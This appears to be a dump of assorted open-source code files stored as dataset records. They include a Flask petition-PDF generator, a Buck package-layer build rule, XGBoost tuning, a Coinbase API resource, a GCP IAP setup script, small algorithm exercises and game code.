    Si todo está en orden, descarga aquí tu Poder en PDF

    \"\"\")\r\n modHTML.close()\r\n\r\n peticionAdd = request.form.get('peticiones')\r\n \r\n fecha_peticion = request.form.get('fecha_peticion')\r\n print(fecha_peticion)\r\n asunto_peticion = request.form.get('asunto_peticion')\r\n ciudad_peticion = request.form.get('ciudad_peticion')\r\n\r\n nom_peticionario = request.form.get('nom_peticionario').upper()\r\n \r\n id_peticionario = request.form.get('id_peticionario')\r\n ced_peticionario = request.form.get('ced_peticionario').replace('.','').replace(\",\",\"\")\r\n id_expedicion = request.form.get('id_expedicion')\r\n direccion_peticionario = request.form.get('direccion_peticionario') \r\n email_peticionario = request.form.get('email_peticionario')\r\n\r\n gen_peticionario = request.form.get('gen_peticionario')\r\n gen_peticionario = 'o' if gen_peticionario == 'm' else 'a'\r\n\r\n id_calidad = request.form.get('id_calidad')\r\n\r\n representada = request.form.get('representada')\r\n dirigido = request.form.get('dirigido')\r\n\r\n direccion_peticionado = request.form.get('direccion_peticionado') \r\n email_peticionado = request.form.get('email_peticionado')\r\n\r\n hechos_peticion = request.form.get('hechosAdd')\r\n\r\n \r\n\r\n derechoPeticion = f\"\"\"{ciudad_peticion} {fecha_peticion}
    \r\n
    \r\nSeñores.
    \r\n{dirigido}
    \r\n{direccion_peticionado}
    \r\n{email_peticionado}
    \r\n
    \r\nReferencia: Derecho de Petición de {nom_peticionario} a {dirigido} para {asunto_peticion}
    \r\n
    \r\n{nom_peticionario}, identificad{gen_peticionario} con {id_peticionario} número {ced_peticionario} de {id_expedicion}, en
    calidad de {id_calidad}; de conformidad con el artículo 23 de la Constitución Política de Colombia de 1991, y del
    título segundo de la parte primera del Código de Procedimiento Administrativo y de lo Contencioso Administrativo (Ley 1437 de 2011);
    interpongo el siguiente Derecho de Petición basado en los siguientes:
    \r\n
    \r\n\r\nI) Hechos.
    \r\n
    \r\n{hechos_peticion}
    \r\n
    \r\n\r\nII) Petición.
    \r\n\r\nEn mérito de lo expuesto, se solicita a {dirigido} que:
    \r\nPetición
    \r\n{peticionAdd}
    \r\n
    \r\nIII) Notificaciones.
    \r\n
    \r\nSe podrá notificar en cualquiera de las siguientes direcciones.
    \r\n
    \r\n{direccion_peticionario}
    \r\n
    \r\n{email_peticionario}
    \r\n
    \r\n
    \r\nIV) Firma.
    \r\n
    \r\nEl presente documento se suscribe de conformidad con el artículo 7 de la Ley 527 de 1999, y con la presunción contemplada
    en el artículo 244 de la Ley 1564 de 2012 (Código General del Proceso).
    \r\n\r\n
    \r\n\r\nSin otro particular,
    \r\n\r\n{nom_peticionario}
    \r\n{id_peticionario} número {ced_peticionario}\"\"\"\r\n\r\n\r\n\r\n class MyFPDF(FPDF, HTMLMixin):\r\n pass\r\n\r\n pdf = MyFPDF()\r\n pdf.set_margins(left= 15.0, top=12.5, right=15.0)\r\n pdf.add_page()\r\n pdf.write_html(derechoPeticion)\r\n pdf.output('peticion_'+nom_peticionario[:4]+ced_peticionario[:-3]+'.pdf', 'F')\r\n\r\n \r\n modHTML = open(\"./templates/form_peticion.html\",\"a\")\r\n modHTML.write (derechoPeticion)\r\n modHTML.write(\"\"\"\r\n \r\n\r\n {%endblock%}\"\"\")\r\n modHTML.close()\r\n\r\n return(nom_peticionario, ced_peticionario, derechoPeticion)\r\n\r\n","sub_path":"peticion.py","file_name":"peticion.py","file_ext":"py","file_size_in_byte":3798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"506102196","text":"\"\"\"\nWe want to be able to use packages of files, fetched from an external data\nstore, for in-repo builds. Conceptually, this is pretty simple:\n - The repo stores an address and a cryptographic hash of the package.\n - There's a build target that fetches the package, checks the hash, and\n presents the package contents as an `image.layer`.\n\nThe above process is repo-hermetic (unless the package is unavailable), and\nlets repo builds use pre-built artifacts. Such artifacts bring two benefits:\n - Speed: we can explicitly cache large, infrequently changed artifacts.\n - Controlled API churn: I may want to use a \"stable\" version of my\n dependency, rather than whatever I might build off trunk.\n\nThe details of \"how to fetch a package\" will vary depending on the package\nstore. This is abstracted by `_PackageFetcherInfo` below.\n\nThe glue code in this file specifies a uniform way of exposing package\nstores as Buck targets. Its opinions are, roughly:\n\n - The data store has many versions of the package, each one immutable.\n New versions keep getting added. However, a repo checkout may only\n access some fixed versions of a package via \"tags\". Each (package, tag)\n pair results in a completely repo-deterministic `image.layer`.\n\n - In the repo, a (package, tag) pair is an `image.layer` target in a\n centralized repo location.\n\n - The layer's mount info has a correctly populated `runtime_source`, so if\n another layer mounts it at build-time, then this mount can be replicated\n at runtime.\n\n - Two representations are provided for the in-repo package database:\n performant `.bzl` and merge-conflict-free \"json dir\".\n\nMost users should use the performant `.bzl` database format, as follows:\n\n # pkg/pkg.bzl\n def _fetched_layer(name, tag = \"stable\"):\n return \"//pkg/db:\" + name + \"/\" + tag + \"-USE-pkg.fetched_layer\"\n pkg = struct(fetched_layer = _fetched_layer)\n\n # pkg/db/db.bzl\n package_db = {\"package\": {\"tag\": {\"address\": ..., \"hash\", ...}}\n\n # pkg/db/TARGETS\n load(\":db.bzl\", \"package_db\")\n fetched_package_layers_from_db(\n fetcher = {\n \"extra_deps\": [\"`image.source` \"generator\" to download package\"],\n \"fetch_package\": \"writes `tarball`/`install_files` JSON to stdout\",\n \"print_mount_config\": \"adds package address to `runtime_source`\",\n },\n package_db = package_db,\n target_suffix = \"-USE-pkg.fetched_layer\",\n )\n\nNow you can refer to a stable version of a package, represented as an\n`image.layer`, via `pkg.fetched_layer(\"name\")`.\n\n## When to use the \"json dir\" DB format?\n\nWith a `.bzl` database, the expected use-case is that there is a single,\ncentralized automation that synchronizes the in-repo package-tag map with\nthe external source of truth for packages and their tags.\n\nIf you expect some packages to be updated by other, independent automations,\nthen it is no longer a good idea to store all packages in a single file --\nmerge conflicts will cause all these automations to break.\n\nThe \"json dir\" DB format is free of merge conflicts, so long as\neach package-tag pair is only update by one automation.\n\nTo get the best of both worlds, use this pattern:\n - All \"normal\" packages are stored in a `.bzl` database and have one\n automation to update all packages in bulk.\n - Special packages (fewer in quantity) live in a \"json dir\" database.\n\"\"\"\n\nload(\"@bazel_skylib//lib:paths.bzl\", \"paths\")\nload(\"@bazel_skylib//lib:shell.bzl\", \"shell\")\nload(\"@bazel_skylib//lib:types.bzl\", \"types\")\nload(\"//fs_image/bzl:oss_shim.bzl\", \"buck_genrule\", \"get_visibility\")\nload(\"//fs_image/bzl/image_actions:feature.bzl\", \"private_do_not_use_feature_json_genrule\")\nload(\":image_layer.bzl\", \"image_layer\")\nload(\":target_tagger.bzl\", \"normalize_target\")\n\n_PackageFetcherInfo = provider(fields = [\n # This executable target prints a feature JSON responsible for\n # configuring the entire layer to represent the fetched package,\n # including file data, owner, mode, etc.\n #\n # See each fetcher's in-source docblock for the details of its contract.\n \"fetch_package\",\n # The executable target `fetch_package` may reference other targets\n # (usually tagged via __BUCK_TARGET or similar) in their features. Any\n # such target must ALSO be manually added to `extra_deps` so that\n # `image_layer.bzl` can resolve those dependencies correctly.\n \"extra_deps\",\n # An executable target that defines `runtime_source` and\n # `default_mountpoint` for the `mount_config` of the package layer.\n \"print_mount_config\",\n])\n\n# Read the doc-block for the purpose and high-level usage.\ndef fetched_package_layers_from_bzl_db(\n # `{\"package\": {\"tag\": }}` -- you would normally get\n # this by `load`ing a autogenerated `db.bzl` exporting just 1 dict.\n package_db,\n # Dict of `_PackageFetcherInfo` kwargs\n fetcher,\n # Layer targets will have the form `/`.\n # See `def _fetched_layer` in the docblock for the intended usage.\n target_suffix,\n visibility = None):\n for package, tags in package_db.items():\n for tag, how_to_fetch in tags.items():\n _fetched_package_layer(\n name = package + \"/\" + tag + target_suffix,\n package = package,\n how_to_fetch = how_to_fetch,\n fetcher = fetcher,\n visibility = visibility,\n )\n\n# Read the doc-block for the purpose and high-level usage.\ndef fetched_package_layers_from_json_dir_db(\n # Path to a database directory inside the current project (i.e.\n # relative to the parent of your TARGETS file).\n package_db_dir,\n # Dict of `_PackageFetcherInfo` kwargs\n fetcher,\n # Layer targets will have the form `/`.\n # See `def _fetched_layer` in the docblock for the intended usage.\n target_suffix,\n visibility = None):\n # Normalizing lets us treat `package_dir_db` as a prefix. It also\n # avoids triggering a bug in Buck, causing it to silently abort when a\n # glob pattern starts with `./`.\n package_db_prefix = paths.normalize(package_db_dir) + \"/\"\n suffix = \".json\"\n for p in native.glob([package_db_prefix + \"*/*\" + suffix]):\n if not p.startswith(package_db_prefix) or not p.endswith(suffix):\n fail(\"Bug: {} was not {}*/*{}\".format(p, package_db_prefix, suffix))\n package, tag = p[len(package_db_prefix):-len(suffix)].split(\"/\")\n export_file(name = p)\n _fetched_package_layer(\n name = package + \"/\" + tag + target_suffix,\n package = package,\n how_to_fetch = \":\" + p,\n fetcher = fetcher,\n visibility = visibility,\n )\n\n# Instead of using this stand-alone, use `fetched_package_layers_from_db` to\n# define packages uniformly in one project. This ensures each package is\n# only fetched once.\ndef _fetched_package_layer(\n name,\n package,\n # One of two options:\n # - A JSONable dict describing how to fetch the package instance.\n # - A string path to a target whose output has a comment on the\n # first line, and JSON on subsequent lines.\n how_to_fetch,\n # Dict of `_PackageFetcherInfo` fields, documented above.\n fetcher,\n visibility = None):\n fetcher = _PackageFetcherInfo(**fetcher)\n visibility = get_visibility(visibility, name)\n if types.is_dict(how_to_fetch):\n print_how_to_fetch_json = \"echo \" + shell.quote(\n struct(**how_to_fetch).to_json(),\n )\n elif types.is_string(how_to_fetch):\n print_how_to_fetch_json = \"tail -n +3 $(location {})\".format(\n how_to_fetch,\n )\n else:\n fail(\"`how_to_fetch` must be str/dict, not {}\".format(how_to_fetch))\n\n package_feature = name + \"-fetched-package-feature\"\n private_do_not_use_feature_json_genrule(\n name = package_feature,\n deps = [\n # We want to re-fetch packages if the fetching mechanics change.\n # `def fake_macro_library` has more details.\n \"//fs_image/bzl:fetched_package_layer\",\n ] + fetcher.extra_deps,\n output_feature_cmd = \"\"\"\n {print_how_to_fetch_json} |\n $(exe {fetch_package}) {quoted_package} {quoted_target} > \"$OUT\"\n \"\"\".format(\n fetch_package = fetcher.fetch_package,\n quoted_package = shell.quote(package),\n quoted_target = shell.quote(normalize_target(\":\" + name)),\n print_how_to_fetch_json = print_how_to_fetch_json,\n ),\n visibility = visibility,\n )\n\n mount_config = name + \"-fetched-package-mount-config\"\n buck_genrule(\n name = mount_config,\n out = \"partial_mountconfig.json\", # It lacks `build_source`, e.g.\n bash = '''\n {print_how_to_fetch_json} |\n $(exe {print_mount_config}) {quoted_package} > \"$OUT\"\n '''.format(\n print_mount_config = fetcher.print_mount_config,\n quoted_package = shell.quote(package),\n print_how_to_fetch_json = print_how_to_fetch_json,\n ),\n )\n\n image_layer(\n name = name,\n features = [\":\" + package_feature],\n mount_config = \":\" + mount_config,\n visibility = visibility,\n )\n","sub_path":"fs_image/bzl/fetched_package_layer.bzl","file_name":"fetched_package_layer.bzl","file_ext":"bzl","file_size_in_byte":9382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"103563875","text":"import pygame as pg\nimport sys\nimport json\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"map\", type=str,\n help=\"Map to load, json file in map directory without extention Ex: blocks\")\nparser.add_argument(\"-ff\", \"--friendlyFire\", action=\"store_true\",\n help=\"Turn on friendly fire\")\nargs = parser.parse_args()\n\n\nwith open (f'maps/{args.map}.json') as f:\n data = json.load(f)\n\n\nMAP_WIDTH = data['width']\nMAP_HEIGHT = data['height']\nscreen = pg.display.set_mode((MAP_WIDTH, MAP_HEIGHT))\nMAP_BACKGROUND = data['background']\nobstacles = data['obstacles']\nplayers = data['players']\nscoreboard = data['scoreboard']\n\nTANK_SIZE = (50, 50)\nTANK_MAX_SPEED = 4\nTANK_MAX_ROTATION = 7\nTANK_FONT = 'Times New Roman'\nTANK_FONT_SIZE = 32\nSELECTED_COLOR = (0,234,0)\nFPS = 30\nSELECT_ADD_TIME = 500 # milliseconds\nBACKGROUND_COLOR = (59, 113, 55)\nBACKGROUND_SIZE = 120 # must be square\nFLAG_SIZE = 25\nFRIENDLY_FIRE = args.friendlyFire\nBULLET_SIZE = 6\nBULLET_SPEED = 10\nRESPAWN_TIME = 5000\nPOINTS_CARRYING_FLAG = 1\nPOINTS_RETURNING_FLAG = 100\nONE_SECOND = 1000\nAI_UPDATE_TIMEOUT = 333 # lower is more frequent","sub_path":"gameConsts.py","file_name":"gameConsts.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"525937670","text":"import numpy as np\nimport xgboost as xgb\nfrom sklearn.metrics import make_scorer\nimport hyperopt\nfrom hyperopt import fmin, tpe, hp, Trials, STATUS_OK, STATUS_FAIL\nfrom functools import partial\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.model_selection import TimeSeriesSplit, train_test_split, cross_val_score, KFold, cross_validate\n\ndef fit_xgb(params, X_train, y_train, seed=42):\n n_estimators = int(params[\"n_estimators\"])\n max_depth= int(params[\"max_depth\"])\n\n try:\n model = xgb.XGBRegressor(n_estimators=n_estimators,\n max_depth=max_depth,\n learning_rate=params[\"learning_rate\"],\n subsample=params[\"subsample\"], \n seed=seed)\n \n result = model.fit(X_train,\n y_train.values.ravel(),\n eval_set=[(X_train, y_train.values.ravel())],\n early_stopping_rounds=50,\n verbose=False)\n\n return {\n \"status\": STATUS_OK,\n \"models\": [model]\n }\n\n except ValueError as ex:\n return {\n \"error\": ex,\n \"status\": STATUS_FAIL\n }\n\ndef train_xgb(params, X_train, y_train, cv, scorer='neg_mean_squared_error', seed=42):\n \"\"\"\n Train XGBoost regressor using the parameters given as input. The model\n is validated using standard cross validation technique adapted for time series\n data. This function returns a friendly output for the hyperopt parameter optimization\n module.\n\n Parameters\n ----------\n params: dict with the parameters of the XGBoost regressor. For complete list see:\n https://xgboost.readthedocs.io/en/latest/parameter.html\n X_train: pd.DataFrame with the training set features\n y_train: pd.Series with the training set targets\n\n Returns\n -------\n dict with keys 'model' for the trained model, \n 'status' containing the hyperopt,\n status string,\n and 'loss' with the RMSE obtained from cross-validation\n \"\"\"\n\n n_estimators = int(params[\"n_estimators\"])\n max_depth= int(params[\"max_depth\"])\n\n try:\n model = xgb.XGBRegressor(n_estimators=n_estimators,\n max_depth=max_depth,\n learning_rate=params[\"learning_rate\"],\n subsample=params[\"subsample\"], \n seed=seed)\n\n \n #result = model.fit(X_train,\n # y_train.values.ravel(),\n # eval_set=[(X_train, y_train.values.ravel())],\n # early_stopping_rounds=50,\n # verbose=False)\n\n fit_params = {\n 'eval_set': [(X_train, y_train.values.ravel())],\n 'early_stopping_rounds': 50,\n 'verbose': False\n }\n\n return_estimator = False\n cv_score = cross_validate(\n model,\n X_train, y_train.values.ravel(),\n cv=cv,\n scoring=scorer,\n return_estimator=return_estimator,\n fit_params=fit_params\n )\n\n scores = np.abs(np.array(cv_score['test_score']))\n avg_score = np.mean(scores)\n return {\n \"loss\": avg_score,\n \"scores\": scores,\n \"status\": STATUS_OK,\n #\"models\": cv_score['estimator']\n }\n\n except ValueError as ex:\n return {\n \"error\": ex,\n \"status\": STATUS_FAIL\n }\n\ndef optimize_xgb(X_train, y_train, max_evals=10, cv=None, scorer='neg_mean_squared_error', seed=42):\n \"\"\"\n Run Bayesan optimization to find the optimal XGBoost algorithm\n hyperparameters.\n\n Parameters\n ----------\n X_train: pd.DataFrame with the training set features\n y_train: pd.Series with the training set targets\n max_evals: the maximum number of iterations in the Bayesian optimization method\n\n Returns\n -------\n best: dict with the best parameters obtained\n trials: a list of hyperopt Trials objects with the history of the optimization\n \"\"\"\n assert cv is not None\n\n space = {\n \"n_estimators\": hp.quniform(\"n_estimators\", 100, 1000, 10),\n \"max_depth\": hp.quniform(\"max_depth\", 1, 8, 1),\n \"learning_rate\": hp.loguniform(\"learning_rate\", -5, 1),\n \"subsample\": hp.uniform(\"subsample\", 0.8, 1),\n \"gamma\": hp.quniform(\"gamma\", 0, 100, 1)\n }\n\n objective_fn = partial(train_xgb,\n X_train=X_train, y_train=y_train, \n scorer=scorer, \n cv=cv,\n seed=seed)\n\n trials = Trials()\n best = fmin(fn=objective_fn,\n space=space,\n algo=tpe.suggest,\n max_evals=max_evals,\n trials=trials)\n\n # evaluate the best model on the test set\n return best, trials\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"122632343","text":"from coinbase_commerce.util import register_resource_cls\nfrom .base import (\n CreateAPIResource,\n DeleteAPIResource,\n ListAPIResource,\n UpdateAPIResource,\n)\n\n__all__ = (\n 'Checkout',\n)\n\n\n@register_resource_cls\nclass Checkout(ListAPIResource,\n CreateAPIResource,\n UpdateAPIResource,\n DeleteAPIResource):\n RESOURCE_PATH = \"checkouts\"\n RESOURCE_NAME = \"checkout_aio\"\n","sub_path":"coinbase_commerce/aio/api_resources/checkout.py","file_name":"checkout.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"415124368","text":"import os\n\n\nclass doc(object):\n \"\"\"表示单个文档\"\"\"\n\n def __init__(self, doc_path, return_sents_list=False):\n self.doc_path = doc_path\n self.id_, _ = os.path.splitext(os.path.basename(doc_path))\n self.return_sents_list = return_sents_list\n\n with open(doc_path) as f:\n self._process_lines(f.readlines())\n\n def _process_lines(self, lines):\n highlight_count = 0\n sents = []\n for line in lines:\n if line.startswith(\"@highlight\"):\n highlight_count += 1\n elif line == \"\\n\":\n continue\n else:\n sents.append(line.strip('\\n').lower())\n if not self.return_sents_list:\n self.article = \" \".join(sents[:-highlight_count])\n self.abstract = \" \".join(sents[-highlight_count:])\n else:\n self.article = sents[:-highlight_count]\n self.abstract = sents[-highlight_count:]\n\n\n def out(self, tf_score):\n \"\"\"打印出摘要 以及id\"\"\"\n print(\"ID: \", self.id_)\n print(\"SCORE: \", tf_score)\n print(\"*\"*25 + '\\n' + self.abstract + '\\n' + \"*\"*25)\n print('\\n\\n')\n","sub_path":"Doc.py","file_name":"Doc.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"69268321","text":"import sys\nimport os\nimport time\n\nimport pinger\nimport sun\n\nsys.path.insert(0, \"/home/uad/Programming/database-gspreadsheet/\")\nimport db_ev\n\n\ndef turn_on():\n\tos.system(\"k1\")\n\tdb_ev.write(\"k\",True)\n\ndef turn_off():\n\tos.system(\"k0\")\n\tdb_ev.write(\"k\",False)\n\n\nip = \"192.168.1.27\"\nyour_city = \"Ankara\"\n\n\n\nif(pinger.is_online(ip)):\n\tif(not(sun.is_shining(your_city))):\n\t\twhile(db_ev.read(\"is_at_home\") == \"0\"):\n\t\t\tprint(\"welcome home\")\n\t\t\tturn_on()\n\t\t\tdb_ev.write(\"is_at_home\",True)\n\telse:\n\t\tprint(\"shining\\nno need to turn on\")\n\t\t#turn_off()\nelse:\n\tprint(\"not at home\")\n\twhile(db_ev.read(\"is_at_home\") == \"1\"):\t\n\t\tprint(\"goodbye\")\t\n\t\tturn_off()\n\t\tdb_ev.write(\"is_at_home\",False)\n\n","sub_path":"command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"400459531","text":"from game.deck import Deck\nfrom game.hand import Hand\nfrom game.table import Table\nfrom game.player import Player, STATUS_CODE\n\nclass Game:\n def __init__(self, *players): # players like this ([id, name], [id, name] , ...)\n self.deck = Deck()\n self.players = self.init_players(players)\n self.first = self.players[0] if self.players[0].status is 1 else self.players[1]\n self.table = Table([], [])\n\n def init_players(self, players):\n _r = []\n for player in players:\n hand = Hand(*self.deck.give(6))\n _id = player[0]\n name = player[1]\n _r.append(Player(_id, name, STATUS_CODE[0], hand))\n\n if _r[0].hand.small_trump is False and _r[1].hand.small_trump is False:\n self.deck = Deck()\n self.players = self.init_players(players)\n\n st = _r[0].hand.small_trump < _r[1].hand.small_trump\n _r[0].status = 1 if st else 0\n _r[1].status = 0 if st else 1\n\n return _r\n\n def move(self, player, card):\n self[player].hand -= card\n self.table += card\n\n def respond(self, player):\n _r = []\n for cs in self[player].hand:\n if cs.isstrong(self.table[-1]):\n _r.append(cs)\n return _r\n\n def take(self, player):\n self[player].hand.take(*self.table)\n self.table.flush()\n self[player].status = 2\n self[2 - (player + 1)].status = 1\n\n def give_from_deck(self, player):\n l = len(self[player].hand)\n if len(self.deck) > 6 - l:\n self[player].hand.take(*self.deck.give(6 - l))\n elif len(self.deck) < 6 - l and self.deck:\n self[player].hand.take(*self.deck.give(len(self.deck)))\n\n def game_end(self):\n l = len(self[0].hand) - len(self[1].hand)\n return 0 if l >= 0 else 1\n\n def __iter__(self):\n for i in self.players:\n yield i\n\n def __getitem__(self, key):\n return self.players[key]\n","sub_path":"game/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"321106879","text":"#!/usr/bin/env python3\n\"\"\"\nScript that creates a sample file\nto be used as input on run_setup of query_builder\n\"\"\"\nimport inspect\nimport json\nimport os\nimport time\nfrom collections import namedtuple\nfrom contextlib import contextmanager\nfrom datetime import datetime\n\nimport click\nimport timeout_decorator\nfrom colorama import init\n\nimport helpers\nfrom base import LOGGER\nfrom compute_handler import get_backend_service_id\nfrom kubernetes_handler import (\n delete_configmap,\n get_cluster_credentials,\n patch_deployment)\nfrom setup_iap import setup_iap\nfrom simulation_mode import simulation_wall\n\ninit()\n\n\n@click.command()\n@click.option('--input-file',\n help='Input file', required=True)\n@click.option('--simulation/--no-simulation',\n default=True,\n help='Simulate the execution. Do not execute any command.')\ndef run_query_builder_iap_setup(simulation, input_file):\n \"\"\" run query builder setup \"\"\"\n with simulation_wall(simulation):\n try:\n query_builder_input = parse_input_json(input_file)\n helpers_config(simulation)\n click.echo(\"Input file read from [{}]\".format(input_file))\n except FileNotFoundError as not_found:\n click.echo(\"File [{0}] not found.\".format(not_found.filename))\n except json.decoder.JSONDecodeError as err:\n click.echo(\"Error parsing file [{0}].\\n{1}\"\n .format(input_file, err))\n with instruction_separator(\"Cluster Credentials\"):\n get_cluster_credentials(\n query_builder_input.query_builder.project_id,\n query_builder_input.cluster.cluster_name,\n query_builder_input.query_builder.compute_zone\n )\n\n check_load_balancer(query_builder_input)\n\n with instruction_separator(\"IAP\", \"Turning on\"):\n delete_configmap(\"iap-config\")\n\n setup_iap(query_builder_input.query_builder.project_id,\n query_builder_input.oauth.client_id,\n query_builder_input.oauth.client_secret,\n query_builder_input.cluster.timeout)\n\n with instruction_separator(\"Frontend Deployment\", \"Patching\"):\n frontend_deployment = \"frontend\"\n path_value = '\"{\\\\\"spec\\\\\":{\\\\\"template\\\\\":{\\\\\"metadata\\\\\":{\\\\\"annotations\\\\\":{\\\\\"date\\\\\":\\\\\"'+ datetime.utcnow().strftime('%Y%m%d%H%M%S') + '\\\\\"}}}}}\"'\n patch_deployment(frontend_deployment, path_value)\n\n\n@contextmanager\ndef instruction_separator(step, action=\"Creating\"):\n \"\"\"Add a message at the start and end of the log messages of the step\"\"\"\n click.echo()\n click.secho('{:-^60}'.format((\"{} {}\".format(action, step))), bold=True)\n try:\n yield\n click.secho('{:-^60}'.format((\"{} finished successfully\".format(step))),\n fg='green')\n except StopIteration as err:\n LOGGER.exception(\"Timeout error\")\n click.secho('{:-^60}'.format((\"Timeout {} {}\".format(action, step))),\n err=True, fg='red')\n raise ValueError(str(err))\n except Exception: # pylint: disable=W0703\n LOGGER.exception(\"error\")\n click.secho('{:-^60}'.format((\"Problem {} {}\".format(action, step))),\n err=True, fg='red')\n\n\n@timeout_decorator.timeout(1800, timeout_exception=StopIteration)\ndef check_load_balancer(query_builder_input):\n \"\"\" \"\"\"\n with instruction_separator(\"Load Balancer\", \"Checking\"):\n backend_service = get_backend_service_id(\n query_builder_input.query_builder.project_id,\n \"frontend\"\n )\n while not backend_service:\n click.echo(\"Waiting for Load Balancer\")\n if backend_service == \"\":\n time.sleep(60)\n backend_service = get_backend_service_id(\n query_builder_input.query_builder.project_id,\n \"frontend\"\n )\n\n\ndef parse_input_json(input_file):\n \"\"\" Parse input json \"\"\"\n with open(input_file, 'r', encoding='utf-8') as infile:\n return json.loads(\n infile.read(),\n object_hook=lambda d: namedtuple('QB', d.keys())(*d.values())\n )\n\n\ndef helpers_config(simulation):\n \"\"\" setup helper variables \"\"\"\n helpers.START_TIME = datetime.utcnow().strftime('%Y%m%d%H%M')\n helpers.DRY_RUN = simulation\n helpers.BASE_DIR = os.path.join(os.path.dirname(\n os.path.abspath(inspect.stack()[0][1])))\n\n\nif __name__ == '__main__':\n run_query_builder_iap_setup() # pylint: disable=no-value-for-parameter\n","sub_path":"securitycenter/query-builder/setup/run_query_builder_iap_setup.py","file_name":"run_query_builder_iap_setup.py","file_ext":"py","file_size_in_byte":4575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"563041147","text":"# Runs on Leetcode\n # Bruteforce \n # Runtime - O(nk) where k is number of lists and n is length of lists\n # Memory - O(1) - no extra space used\n \n # Optimized\n # Runtime - O(nlogk) n and k are same as above\n # Memory - O(1) excluding the resultant linked list space\n\n \n \n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n\n\n# Bruteforce\n\nclass Solution:\n def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> ListNode:\n if not l1:\n return l2\n if not l2:\n return l1\n dummy = ListNode(float('-inf'))\n result = dummy\n while l1 and l2:\n if l1.val < l2.val:\n dummy.next = l1\n dummy = dummy.next\n l1 = l1.next\n dummy.next = None\n else:\n dummy.next = l2\n dummy = dummy.next\n l2 = l2.next\n dummy.next = None\n if l1:\n dummy.next = l1\n if l2:\n dummy.next = l2\n return result.next\n \n def mergeKLists(self, lists: List[ListNode]) -> ListNode:\n merged = ListNode(float('-inf'))\n result = merged\n if not lists:\n return merged.next\n i = 0\n while i < len(lists):\n if lists[i]:\n merged = self.mergeTwoLists(merged, lists[i])\n i += 1\n return result.next\n\n\n\n\n# Optimized\n\nclass Solution:\n import heapq\n def mergeKLists(self, lists: List[ListNode]) -> ListNode:\n dummy = result = ListNode(float('-inf'))\n queue = []\n\n for i in range(len(lists)):\n if lists[i]:\n heapq.heappush(queue, (lists[i].val, i ,lists[i]))\n \n while queue:\n node_val, index, node = heapq.heappop(queue)\n dummy.next = ListNode(node_val)\n dummy = dummy.next\n node = node.next\n if node:\n heapq.heappush(queue, (node.val, index, node))\n return result.next\n","sub_path":"Merge_K_sorted_lists.py","file_name":"Merge_K_sorted_lists.py","file_ext":"py","file_size_in_byte":2163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"506759017","text":"initialInvestment = float(input (\"How much are you going to invest\"))\r\nterm = float(input (\"How many years are you going to invest the money?\"))\r\ninterestRate = float(input (\"Input the annual interest rate as a decimal. {For 2% enter .02}\"))\r\n\r\nx = 1\r\nprint (\"Month\\tInterest Earned\\tTotal\")\r\nwhile x < (term*12+1):\r\n interestEarned = initialInvestment * (interestRate/12)\r\n initialInvestment = interestEarned + initialInvestment\r\n print (x , \"\\t\", \"$\", \"{:.2f}\".format(interestEarned)), \"\\t\", \"$\", \"{:.2f}\".format(initialInvestment)\r\n x = x + 1\r\n\r\n","sub_path":"compound.py","file_name":"compound.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"401199389","text":"from typing import Tuple\nfrom numpy.core.records import record\nimport jittor as jt\nfrom datasets.query_datasets import QueryDataset \nfrom datasets.shape_datasets import ShapeDataset\nimport tqdm\nimport jittor.transform as transform\nimport os\n# from tensorboardX import SummaryWriter\nimport warnings\nfrom utils import read_json\nfrom PIL import Image\nfrom RetrievalNet import RetrievalNet\nwarnings.filterwarnings('ignore')\nfrom Models import RetrievalNet\n\nimport numpy as np\nimport binvox_rw\nfrom sklearn.metrics.pairwise import pairwise_distances\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"3\"\n\nimport shutil\nfrom sklearn import manifold\nimport matplotlib.pyplot as plt\nimport time\n\n\n\nimport multiprocessing\nfrom contextlib import contextmanager\n\n\ndef averaged_hausdorff_distance(set1, set2, max_ahd=np.inf):\n \"\"\"\n Compute the Averaged Hausdorff Distance function\n between two unordered sets of points (the function is symmetric).\n Batches are not supported, so squeeze your inputs first!\n :param set1: Array/list where each row/element is an N-dimensional point.\n :param set2: Array/list where each row/element is an N-dimensional point.\n :param max_ahd: Maximum AHD possible to return if any set is empty. Default: inf.\n :return: The Averaged Hausdorff Distance between set1 and set2.\n\n from: https://github.com/HaipengXiong/weighted-hausdorff-loss/blob/master/object-locator/losses.py\n \"\"\"\n\n if len(set1) == 0 or len(set2) == 0:\n return max_ahd\n\n set1 = np.array(set1)\n set2 = np.array(set2)\n\n assert set1.ndim == 2, 'got %s' % set1.ndim\n assert set2.ndim == 2, 'got %s' % set2.ndim\n\n assert set1.shape[1] == set2.shape[1], \\\n 'The points in both sets must have the same number of dimensions, got %s and %s.'\\\n % (set2.shape[1], set2.shape[1])\n\n d2_matrix = pairwise_distances(set1, set2, metric='euclidean')\n\n res = np.average(np.min(d2_matrix, axis=0)) + \\\n np.average(np.min(d2_matrix, 